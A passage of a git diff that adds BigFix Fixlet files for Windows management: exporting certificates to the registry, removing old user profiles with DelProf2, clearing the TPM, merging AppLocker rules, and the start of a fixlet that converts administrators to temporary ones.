+    new-ItemProperty -Path $Storage -Name &quot;Not Before Time&quot; -Value $Certificate.NotBefore.ToString(&quot;HH:mm:ss&quot;) | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Not After&quot; -Value $Certificate.NotAfter | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Not After Date&quot; -Value $Certificate.NotAfter.ToString(&quot;ddd, dd MMM yyyy&quot;) | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Not After Time&quot; -Value $Certificate.NotAfter.ToString(&quot;HH:mm:ss&quot;) | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Format&quot; -Value $Certificate.GetFormat() | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Archived&quot; -Value $Certificate.Archived | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Private Key&quot; -Value $Certificate.HasPrivateKey | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Algorithm&quot; -Value ($Certificate.SignatureAlgorithm.FriendlyName -join &quot;,&quot;) | out-null
+    new-ItemProperty -Path $Storage -Name &quot;Usage&quot; -Value ($Certificate.EnhancedKeyUsageList.FriendlyName -join &quot;,&quot;) | out-null
+    new-ItemProperty -Path $Storage -Name &quot;DNS&quot; -Value ($Certificate.DnsNameList.Punycode -join &quot;,&quot;)  | out-null
+}
+
+#Clean-up previous cert export
+Remove-Item &quot;HKLM:\Software\Certificates&quot; -Recurse -ErrorAction SilentlyContinue
+
+#Pull all the certificate stores
+$Certificates = Get-ChildItem -Path Cert:\LocalMachine -Recurse
+
+#Iterate over each store
+foreach ($Store in Get-ChildItem -Path Cert:\LocalMachine) {{
+
+    #Iterate over each certificate in each store
+    foreach ($Certificate in Get-ChildItem -Path &quot;Cert:\LocalMachine\$($Store.Name)&quot;) {{
+        Write-CertToRegistry -Certificate $Certificate -Path &quot;$RegStorage\LocalMachine&quot; -childpath $Store.Name
+    }
+}
+
+#Print probe run timestamp
+$Timestamp = get-date
+New-ItemProperty -Path $Global:RegStorage -Name &quot;Last Updated&quot; -Value $Timestamp -Force | out-null
+New-ItemProperty -Path $Global:RegStorage -Name &quot;Last Updated Date&quot; -Value $Timestamp.ToString(&quot;ddd, dd MMM yyyy&quot;) -Force | out-null
+New-ItemProperty -Path $Global:RegStorage -Name &quot;Last Updated Time&quot; -Value $Timestamp.ToString(&quot;HH:mm:ss&quot;) -Force | out-null
+_end_
+
+move __createfile powershell.ps1
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 14 days - Windows (24041).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 14 days - Windows (24041).bes
new file mode 100644
index 000000000..12d5bc9ea
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 14 days - Windows (24041).bes	
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Cleanup User Profiles older than 14 days - Windows
+  ID       : 24041
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:44:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Cleanup User Profiles older than 14 days - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will use DelProf2 to cleanup user profiles older than 14 days from the system.</P>
+<P>DelProf2 is free for Non-Profit and Higher Education.&nbsp;For instructions on licensing it for private organizations please visit their homepage: <A href="https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/">https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists files "NTUSER.DAT" whose (modification time of it < now - 14*day) of folders whose (name of it does not start with "Default" and name of it != "Public" and name of it != "All Users") of folder "Users" of drive of system folder]]></Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch DelProf2.zip sha1:B4FFB416395941CBF682ADFE472DCAC7D4E7F533 size:235595 https://helgeklein.com/downloads/DelProf2/current/Delprof2 1.6.0.zip sha256:14EE8BAF68AC5B015613ECDF23D1CC49A7045F791E2F7A1952F32AAD5B4A606B
+
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+utility __Download\unzip.exe
+
+waithidden __Download\unzip.exe -o &quot;__Download\DelProf2.zip&quot; -d &quot;{pathname of client folder of current site}\__Download&quot;
+
+override wait
+hidden=true
+completion=job
+wait &quot;__Download\Delprof2 1.6.0\delprof2.exe&quot; /u /d:14 /i</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 30 days - Windows (24042).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 30 days - Windows (24042).bes
new file mode 100644
index 000000000..670a28cb9
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 30 days - Windows (24042).bes	
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Cleanup User Profiles older than 30 days - Windows
+  ID       : 24042
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:44:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Cleanup User Profiles older than 30 days - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will use DelProf2 to cleanup user profiles older than 30 days from the system.</P>
+<P>DelProf2 is free for Non-Profit and Higher Education.&nbsp;For instructions on licensing it for private organizations please visit their homepage: <A href="https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/">https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists files "NTUSER.DAT" whose (modification time of it < now - 30*day) of folders whose (name of it does not start with "Default" and name of it != "Public" and name of it != "All Users") of folder "Users" of drive of system folder]]></Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch DelProf2.zip sha1:B4FFB416395941CBF682ADFE472DCAC7D4E7F533 size:235595 https://helgeklein.com/downloads/DelProf2/current/Delprof2 1.6.0.zip sha256:14EE8BAF68AC5B015613ECDF23D1CC49A7045F791E2F7A1952F32AAD5B4A606B
+
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+utility __Download\unzip.exe
+
+waithidden __Download\unzip.exe -o &quot;__Download\DelProf2.zip&quot; -d &quot;{pathname of client folder of current site}\__Download&quot;
+
+override wait
+hidden=true
+completion=job
+wait &quot;__Download\Delprof2 1.6.0\delprof2.exe&quot; /u /d:30 /i</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 60 days - Windows (24043).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 60 days - Windows (24043).bes
new file mode 100644
index 000000000..1aaf98b83
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 60 days - Windows (24043).bes	
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Cleanup User Profiles older than 60 days - Windows
+  ID       : 24043
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:44:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Cleanup User Profiles older than 60 days - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will use DelProf2 to cleanup user profiles older than 60 days from the system.</P>
+<P>DelProf2 is free for Non-Profit and Higher Education.&nbsp;For instructions on licensing it for private organizations please visit their homepage: <A href="https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/">https://helgeklein.com/free-tools/delprof2-user-profile-deletion-tool/</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists files "NTUSER.DAT" whose (modification time of it < now - 60*day) of folders whose (name of it does not start with "Default" and name of it != "Public" and name of it != "All Users") of folder "Users" of drive of system folder]]></Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch DelProf2.zip sha1:B4FFB416395941CBF682ADFE472DCAC7D4E7F533 size:235595 https://helgeklein.com/downloads/DelProf2/current/Delprof2 1.6.0.zip sha256:14EE8BAF68AC5B015613ECDF23D1CC49A7045F791E2F7A1952F32AAD5B4A606B
+
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+utility __Download\unzip.exe
+
+waithidden __Download\unzip.exe -o &quot;__Download\DelProf2.zip&quot; -d &quot;{pathname of client folder of current site}\__Download&quot;
+
+override wait
+hidden=true
+completion=job
+wait &quot;__Download\Delprof2 1.6.0\delprof2.exe&quot; /u /d:60 /i</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using Physical Presence - Windows (24044).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using Physical Presence - Windows (24044).bes
new file mode 100644
index 000000000..20516e769
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using Physical Presence - Windows (24044).bes	
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Clear TPM using Physical Presence - Windows
+  ID       : 24044
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:45:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Clear TPM using Physical Presence - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Relevance>
+    <Relevance>exists selects &quot;* from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot; /* Require the TPM Exists on the System */</Relevance>
+    <Relevance>file &quot;TPMOwnerAuthorization.txt&quot; of Folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-12-17</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+delete clearTPM.ps1
+
+createfile until _end_
+$TPM = Get-WmiObject -Class Win32_TPM -Namespace root\CIMV2\Security\MicrosoftTpm
+write-host "Attempting to force physical presence prompt"
+
+$TPM.SetPhysicalPresenceRequest(5)
+$Response = $TPM.GetPhysicalPresenceResponse()
+
+$Response >> "$($env:SystemDrive)\TPMClear.log"
+_end_
+
+move __createfile clearTPM.ps1
+
+waithidden powershell.exe -executionpolicy bypass -file clearTPM.ps1
+
+action requires restart]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using provided Owner Authorization - Windows (24113).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using provided Owner Authorization - Windows (24113).bes
new file mode 100644
index 000000000..881dddc67
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using provided Owner Authorization - Windows (24113).bes	
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Clear TPM using provided Owner Authorization - Windows
+  ID       : 24113
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-22T05:03:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Clear TPM using provided Owner Authorization - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Relevance>
+    <Relevance>exists selects &quot;* from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot; /* Require the TPM Exists on the System */</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-12-17</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+action parameter query &quot;OwnerAuth&quot; with description &quot;Provide an Ownership Authorization String&quot;
+
+parameter &quot;Storage&quot;=&quot;{pathname of folder &quot;__Global&quot; of data folder of client}\Bitlocker&quot;
+
+parameter &quot;OwnerAuth&quot;=&quot;{line 0 of file &quot;TPMOwnerAuthorization.txt&quot; of Folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client}&quot;
+
+createfile until _end_
+param (
+	$OwnerAuthorization
+)
+
+$TPM = Get-WmiObject -Class Win32_TPM -Namespace root\CIMV2\Security\MicrosoftTpm
+
+$TPM.Clear($OwnerAuthorization)
+
+_end_
+
+move __createfile clearTPM.ps1
+
+waithidden powershell.exe -executionpolicy bypass -file clearTPM.ps1 -OwnerAuthorization &quot;{parameter &quot;OwnerAuth&quot; of action}&quot;
+
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using saved Owner Authorization - Windows (24114).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using saved Owner Authorization - Windows (24114).bes
new file mode 100644
index 000000000..1bf8480b2
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using saved Owner Authorization - Windows (24114).bes	
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Clear TPM using saved Owner Authorization - Windows
+  ID       : 24114
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-22T05:03:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Clear TPM using saved Owner Authorization - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Relevance>
+    <Relevance>exists selects &quot;* from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot; /* Require the TPM Exists on the System */</Relevance>
+    <Relevance>file &quot;TPMOwnerAuthorization.txt&quot; of Folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-12-17</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+parameter &quot;Storage&quot;=&quot;{pathname of folder &quot;__Global&quot; of data folder of client}\Bitlocker&quot;
+
+parameter &quot;OwnerAuth&quot;=&quot;{line 0 of file &quot;TPMOwnerAuthorization.txt&quot; of Folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client}&quot;
+
+createfile until _end_
+param (
+	$OwnerAuthorization
+)
+
+$TPM = Get-WmiObject -Class Win32_TPM -Namespace root\CIMV2\Security\MicrosoftTpm
+
+$TPM.Clear($OwnerAuthorization)
+
+_end_
+
+move __createfile clearTPM.ps1
+
+waithidden powershell.exe -executionpolicy bypass -file clearTPM.ps1 -OwnerAuthorization &quot;{parameter &quot;OwnerAuth&quot; of action}&quot;
+
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Commit Cached Applocker Rules - Windows (20716).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Commit Cached Applocker Rules - Windows (20716).bes
new file mode 100644
index 000000000..2a0439fb8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Commit Cached Applocker Rules - Windows (20716).bes	
@@ -0,0 +1,116 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Commit Cached Applocker Rules - Windows
+  ID       : 20716
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T16:10:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Commit Cached Applocker Rules - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Policies are defined on the client but there are no policies implemented */ not exists key "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2" of native registry and exists files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client  or  /* Policies are defined but no effective policy exists -- common way to request a forced refresh */ (exists files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client) and (not exists files whose (name of it = "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client)  or  /* Policy doesn't match implementation for Types Enforced */ /* If a type is in Enforced Mode in the policy -- it should be Enforced, because Enforced takes precedence*/ (set of names of keys whose (value "EnforcementMode" of it = 1) of key "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2" of native registry) != (set of node values of attributes "Type" of xpaths "/AppLockerPolicy/RuleCollection" whose (node value of attribute "EnforcementMode" of it = "Enabled") of xml documents of files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client)  or  /* Policy doesn't match implementation for Types Audited */ /* If a type is in Audit Mode in the policy -- it should either be in Audit or Enforced, because Enforced takes precedence*/ (set of names of keys whose (value "EnforcementMode" of it = 1 or value "EnforcementMode" of it = 0) of key "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2" of native registry) does not contain (set of node values of attributes "Type" of xpaths "/AppLockerPolicy/RuleCollection" whose (node value of attribute "EnforcementMode" of it = "AuditOnly") of xml documents of files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client)  or   /* Rules in policy are missing from Implementation*/ size of ((set of node values of attributes "Id" of child nodes of xpaths "/AppLockerPolicy/RuleCollection" of xml documents of files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client) - (set of names of keys of keys of key "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2" of native registry)) > 0]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-28</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+createfile until _end_
+param (
+    $inDir
+)
+
+$Rules = ""
+
+$ExeMethod = ""
+$MsiMethod = ""
+$ScriptMethod = ""
+$AppxMethod = ""
+
+$ExeRules = ""
+$MsiRules = ""
+$ScriptRules = ""
+$AppXRules = ""
+
+foreach ($Ruleset in get-childitem $InDir) {{
+    if ($Ruleset.Name -eq "Effective.xml") {{ continue;}
+
+    $xml = select-xml -Path $Ruleset.fullname -XPath "/AppLockerPolicy/RuleCollection"
+
+    foreach ($Collection in $XML) {{
+
+        if ($Collection.Node.Type -eq "Exe") {{
+            if ($Collection.Node.InnerXml.trim()) {{$ExeRules += $Collection.Node.InnerXml.tostring()}
+            if ($Collection.Node.EnforcementMode -eq "AuditOnly" -and $ExeMethod -ne "Enabled") {{ $ExeMethod = 'EnforcementMode="AuditOnly"' }
+            if ($Collection.Node.EnforcementMode -eq "Enabled") {{ $ExeMethod = 'EnforcementMode="Enabled"' }
+        }
+
+        if ($Collection.Node.Type -eq "Script") {{
+            if ($Collection.Node.InnerXml.trim()) {{$ScriptRules += $Collection.Node.InnerXml.tostring()}
+            if ($Collection.Node.EnforcementMode -eq "AuditOnly" -and $ScriptMethod -ne "Enabled") {{ $ScriptMethod = 'EnforcementMode="AuditOnly"' }
+            if ($Collection.Node.EnforcementMode -eq "Enabled") {{ $ScriptMethod = 'EnforcementMode="Enabled"' }
+        }
+
+        if ($Collection.Node.Type -eq "Msi") {{
+            if ($Collection.Node.InnerXml.trim()) {{$MsiRules += $Collection.Node.InnerXml.tostring()}
+            if ($Collection.Node.EnforcementMode -eq "AuditOnly" -and $MsiMethod -ne "Enabled") {{ $MsiMethod = 'EnforcementMode="AuditOnly"' }
+            if ($Collection.Node.EnforcementMode -eq "Enabled") {{ $MsiMethod = 'EnforcementMode="Enabled"' }
+        }
+
+        if ($Collection.Node.Type -eq "AppX") {{
+            if ($Collection.Node.InnerXml.trim()) {{$AppXRules += $Xml.Node.InnerXml.tostring()}
+            if ($Collection.Node.EnforcementMode -eq "AuditOnly" -and $AppXMethod -ne "Enabled") {{ $AppXMethod = 'EnforcementMode="AuditOnly"' }
+            if ($Collection.Node.EnforcementMode -eq "Enabled") {{ $AppXMethod = 'EnforcementMode="Enabled"' }
+        }
+    }
+}
+
+$Rules = @"
+<AppLockerPolicy Version="1">
+    <RuleCollection Type="Exe" $ExeMethod>
+        $ExeRules
+    </RuleCollection>
+    <RuleCollection Type="Msi" $MsiMethod>
+        $MsiRules
+    </RuleCollection>
+    <RuleCollection Type="Script" $ScriptMethod>
+        $ScriptRules
+    </RuleCollection>
+    <RuleCollection Type="Appx" $AppxMethod>
+        $AppxRules
+    </RuleCollection>
+</AppLockerPolicy>
+"@
+
+$Rules > "$Indir\Effective.xml"
+
+_end_
+
+delete mergerules.ps1
+move __createfile mergerules.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File mergerules.ps1 -inDir "{parameter "Storage"}"
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -XMLPolicy ""{parameter "Storage"}\Effective.xml"""]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators to Temporary Administrators - Windows (24157).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators to Temporary Administrators - Windows (24157).bes
new file mode 100644
index 000000000..c092dd5ae
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators to Temporary Administrators - Windows (24157).bes	
@@ -0,0 +1,820 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Convert Permanent Administrators to Temporary Administrators - Windows
+  ID       : 24157
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:25:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Convert Permanent Administrators to Temporary Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet cycles through all explicitely defined local administrators and marks them as temporary administrators. This can be used to expire administrative rights over time.</P>
